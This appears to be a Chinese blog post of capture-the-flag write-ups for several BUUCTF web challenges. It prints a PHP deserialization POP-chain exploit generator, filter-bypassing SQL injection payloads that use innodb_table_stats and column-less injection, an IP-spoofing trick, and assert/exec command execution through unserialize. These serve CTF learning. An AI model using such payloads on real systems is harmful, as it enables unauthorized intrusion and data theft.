当前位置:网站首页>buu web
buu web
2022-08-04 21:10:00 【1-1A0】
web
[MRCTF2020]Ezpop
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
- 链构造
Show::wakeup()->Show::__toString->Test::__get()->Modifier::__invoke()->include
__incoke() Called as a function
__get() 访问不存在的成员变量时调用的
__toString() :在对象当做字符串的时候会被调用.
__wakeup则将属性source传入正则匹配函数preg_match(),在这个函数中source属性就被当做字符串处理
<?php
class Modifier {
protected $var='php://filter/convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$a=new Show();
$a->str=new Test();
$a->source='aaa'; #一个不存在的,执行get
$a->str->p=new Modifier;
$b=new Show;
$b->source=$a; #wakeup的执行
//存在protected属性
echo urlencode(serialize($b));
由于 b类内包含一个a类,首先让aClasses can be parsed as strings,并且wakeup要比toString先执行
So add a layersource先转化成String在解析.
[SWPU2019]Web1
注册账号,登录
发送广告,xss
<script>alert(/XSS/)</script>
使用xssplatform but no useful information was obtained.尝试使用XSS读取文件,但是没有回显可能存在sql注入
使用sqlmapFound out that it doesn't work hereThere are also points that the user can control
广告名
尝试xss发现不行1' and 1=1
这里有问题,模糊测试:敏感词汇:
空格 # --+ and or
只能union联合查询
The error is reported to see the content after the query statement
Filter on comments having '1'='1 但是报错.可以使用&&'1'='1
Or use single quotes to close 1'union select 1'
空格过滤->/**/
- Confirm ranks
-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
回显
- 表名,列名
-1'union/**/select/**/1,database(),(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
报错,测试information_schema.tables
被过滤
But you can know the database name ‘web1’
The problem becomes how to look up the table name by the database name:一篇不错的文章
之前通过information_schema.tables查,That is, the name of the library that comes with it,Now change the library name query that comes with it
采用innodb_index_stats和 innodb_table_stats来进行绕过
select table_name ffrom mysql.innodb_table_stats/**/where/**/database_name="web1"'
列名:无列名注入
select c from (select 1,2 as b,3,4 as c,5 as d union select * from table)a; #select c == select 4That is the fourth column,and print out the content
(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a)
- 最终payload
-1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2,3/**/as/**/a/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
[MRCTF2020]PYWebsite
function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}
}
- 有个二维码,扫描一下,The content appears useless
- Comparison of captcha.只需要hex_md5Function comparison passes.通过搜索发现js没有md5加密,需要自己定义,找到md5加密
js/md5.js
.
/* * A JavaScript implementation of the RSA Data Security, Inc. MD5 Message * Digest Algorithm, as defined in RFC 1321. * Version 2.1 Copyright (C) Paul Johnston 1999 - 2002. * Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet * Distributed under the BSD License * See http://pajhome.org.uk/crypt/md5 for more info. */
- RSA密码,difficult to solve,继续信息收集
- 尝试直接访问flag.php
- 保存IP,Except the buyer and me.So it can be fakedIP为127.0.0.1来获得flag
- 思路错误,Wondering how to crack the password,Not doing enough information gathering
[NPUCTF2020]ReadlezPHP
- 网站打开后
- 多刷新几次,Discover time changes.源码
- 访问time.php?source=0.得到源码
- 反序列化+命令执行.But the source code is not complete,可能存在过滤,尝试
- Buu扫描会429
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
- 尝试 执行命令,The function to pass the Trojan horse
system('ls'); 不行
passthru('ls')不行
exec行
assert()行
assert($_POST[cmd])#没什么东西
assert(phpinfo()); #ctrl+f找flag关键字
边栏推荐
- 深度解析:为什么跨链桥又双叒出事了?
- 数字IC设计中基本运算的粗略的延时估计
- 无代码平台字段设置:基础设置入门教程
- SPSS-System Clustering Hand Calculation Practice
- 后缀式的计算
- 宝塔实测-搭建中小型民宿酒店管理源码
- PRIMAL: Pathfinding via Reinforcement and Imitation Multi-Agent Learning Code Analysis
- 面试官:Redis中过期的key是怎么被删除的?
- LayaBox---TypeScript---Problems encountered at first contact
- 命名路由、组件中name的作用
猜你喜欢
ADB 安装 + 打驱动全教程
[2022 Hangzhou Electric Power Multi-School 5 1012 Questions Buy Figurines] Application of STL
文章复现:超分辨率网络-VDSR
PowerCLi batch configuration of NTP
LayaBox---TypeScript---Problems encountered at first contact
经验分享|盘点企业进行知识管理时的困惑类型
知识分享|如何设计有效的帮助中心,不妨来看看以下几点
Hands-on Deep Learning_NiN
Configure laravel queue method using fort app manager
使用堡塔应用管理器配置laravel队列方法
随机推荐
数电快速入门(五)(编码器的介绍以及通用编码器74LS148和74LS147的介绍)
经验分享|盘点企业进行知识管理时的困惑类型
dotnet 使用 lz4net 压缩 Stream 或文件
【PCBA program design】Grip dynamometer program
bracket matching
jekyll 在博客添加流程图
Web3时代的战争
二叉搜索树解决硬木问题
OD-Model [6]: YOLOv2
工龄10年的测试员从大厂“裸辞”后...
adb shell input keyevent 模拟按键事件
Common methods of js's new Function()
简述@RequestParam与@RequestBody参数注解
知识分享|如何设计有效的帮助中心,不妨来看看以下几点
web漏洞扫描器-awvs
laravel whereDoesntHave
链队
结构体小结
2、字符集-编码-解码
Some problems with passing parameters of meta and params in routing (can be passed but not passed, empty, collocation, click to pass multiple parameters to report an error)